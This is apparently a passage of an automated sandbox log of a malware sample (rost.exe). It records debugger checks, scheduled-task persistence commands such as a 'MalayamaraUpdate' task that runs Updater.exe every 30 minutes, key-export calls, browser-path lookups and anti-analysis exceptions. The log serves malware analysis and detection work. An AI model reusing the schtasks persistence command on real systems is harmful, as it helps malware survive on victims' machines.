 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "MPGPH131 HR" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "MPGPH131 LG" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "explorhe.exe" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Roaming\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: chcp
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Roaming\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: schtasks
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Active code page: 1251
console_handle: 0x00000013
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "MalayamaraUpdate" has successfully been created.
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0056b130
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0056b130
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005740c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005740c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00574000
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00574000
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f1770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f1770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f1770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f1770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f17f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f17f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f16f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f16f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f16f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f16f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f16f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f1770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f1770
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f1970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f20b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f20b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003f1f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d9198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d9198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d92d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620d28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620d28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620d28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620d28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620da8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620da8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620d28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620d28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00620f28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00621668
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00621668
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00621368
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0071c570
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0071c9e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00722cf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00722cf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00722d38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00722d38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00504a08
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
file C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file C:\Program Files\Mozilla Firefox\firefox.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
rost+0x293d8a @ 0x1033d8a
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619788
registers.edi: 16965772
registers.eax: 0
registers.ebp: 2619816
registers.edx: 0
registers.ebx: 40579900
registers.esi: 5
registers.ecx: 40579900
1 0 0

__exception__

 stacktrace: 
rost+0x293d8a @ 0x1033d8a
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619788
registers.edi: 2619788
registers.eax: 0
registers.ebp: 2619816
registers.edx: 0
registers.ebx: 16376303
registers.esi: 0
registers.ecx: 2619996
1 0 0

__exception__

 stacktrace: 
rost+0x295024 @ 0x1035024
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 16965772
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 11436032
registers.esi: 15630336
registers.ecx: 15630336
1 0 0

__exception__

 stacktrace: 
rost+0x295024 @ 0x1035024
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 0
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295024 @ 0x1035024
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 0
registers.ebx: 16376303
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 16965772
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 11436032
registers.esi: 15630336
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 0
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 0
registers.ebx: 16376303
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 0
registers.ebx: 16376303
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376303
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 0
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295100 @ 0x1035100
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376303
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x2951d2 @ 0x10351d2
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 16965772
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 11436032
registers.esi: 15630336
registers.ecx: 2619768
1 0 0

__exception__

 stacktrace: 
rost+0x2951d2 @ 0x10351d2
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x2951d2 @ 0x10351d2
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x2951d2 @ 0x10351d2
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe1d9
exception.instruction: div eax
exception.module: rost.exe
exception.exception_code: 0xc0000094
exception.offset: 2089433
exception.address: 0xf9e1d9
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 0
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x2952cc @ 0x10352cc
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 16965772
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 11436032
registers.esi: 15630336
registers.ecx: 954228717
1 0 0

__exception__

 stacktrace: 
rost+0x2952cc @ 0x10352cc
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x2952cc @ 0x10352cc
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x2952cc @ 0x10352cc
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295362 @ 0x1035362
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 16965772
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 11436032
registers.esi: 15630336
registers.ecx: 1781025675
1 0 0

__exception__

 stacktrace: 
rost+0x295362 @ 0x1035362
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295362 @ 0x1035362
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
rost+0x295362 @ 0x1035362
rost+0x297f18 @ 0x1037f18
rost+0x2218dc @ 0xfc18dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: rost+0x1fe204
exception.instruction: ud2
exception.module: rost.exe
exception.exception_code: 0xc000001d
exception.offset: 2089476
exception.address: 0xf9e204
registers.esp: 2619740
registers.edi: 2619740
registers.eax: 0
registers.ebp: 2619768
registers.edx: 2
registers.ebx: 16376346
registers.esi: 0
registers.ecx: 2619776
1 0 0

__exception__

 stacktrace: 
RtlpNtEnumerateSubKey+0x2a2b isupper-0x4e2b ntdll+0xcf559 @ 0x7796f559
RtlpNtEnumerateSubKey+0x2b0b isupper-0x4d4b ntdll+0xcf639 @ 0x7796f639
RtlUlonglongByteSwap+0xba5 RtlFreeOemString-0x20d35 ntdll+0x7df95 @ 0x7791df95
HeapFree+0x14 GetProcessHeap-0xc kernel32+0x114dd @ 0x757f14dd
rost+0xf38bf @ 0xe938bf
rost+0xea2de @ 0xe8a2de
rost+0xdc00d @ 0xe7c00d
rost+0x10a272 @ 0xeaa272
rost+0xeec93 @ 0xe8ec93
rost+0xeef47 @ 0xe8ef47
rost+0xebb0a @ 0xe8bb0a
rost+0xeba36 @ 0xe8ba36
rost+0xebbf8 @ 0xe8bbf8
rost+0xebd5f @ 0xe8bd5f
rost+0xdc393 @ 0xe7c393
0xbb3df1fd
0x46a89700
0x27f96c

exception.instruction_r: eb 12 8b 45 ec 8b 08 8b 09 50 51 e8 6f ff ff ff
exception.symbol: RtlpNtEnumerateSubKey+0x1b25 isupper-0x5d31 ntdll+0xce653
exception.instruction: jmp 0x7796e667
exception.module: ntdll.dll
exception.exception_code: 0xc0000374
exception.offset: 845395
exception.address: 0x7796e653
registers.esp: 2619080
registers.edi: 4898128
registers.eax: 2619096
registers.ebp: 2619200
registers.edx: 0
registers.ebx: 0
registers.esi: 4718592
registers.ecx: 2147483647
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bdbc9 @ 0x53dbc9
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439552
registers.edi: 5464204
registers.eax: 0
registers.ebp: 1439580
registers.edx: 2
registers.ebx: 41431884
registers.esi: 5
registers.ecx: 41431884
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bdbc9 @ 0x53dbc9
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439552
registers.edi: 1439552
registers.eax: 0
registers.ebp: 1439580
registers.edx: 2
registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439760
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bdbc9 @ 0x53dbc9
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439552
registers.edi: 1439552
registers.eax: 0
registers.ebp: 1439580
registers.edx: 2
registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439760
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bdbc9 @ 0x53dbc9
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439552
registers.edi: 1439552
registers.eax: 0
registers.ebp: 1439580
registers.edx: 2
registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439760
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bdbc9 @ 0x53dbc9
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439552
registers.edi: 1439552
registers.eax: 0
registers.ebp: 1439580
registers.edx: 0
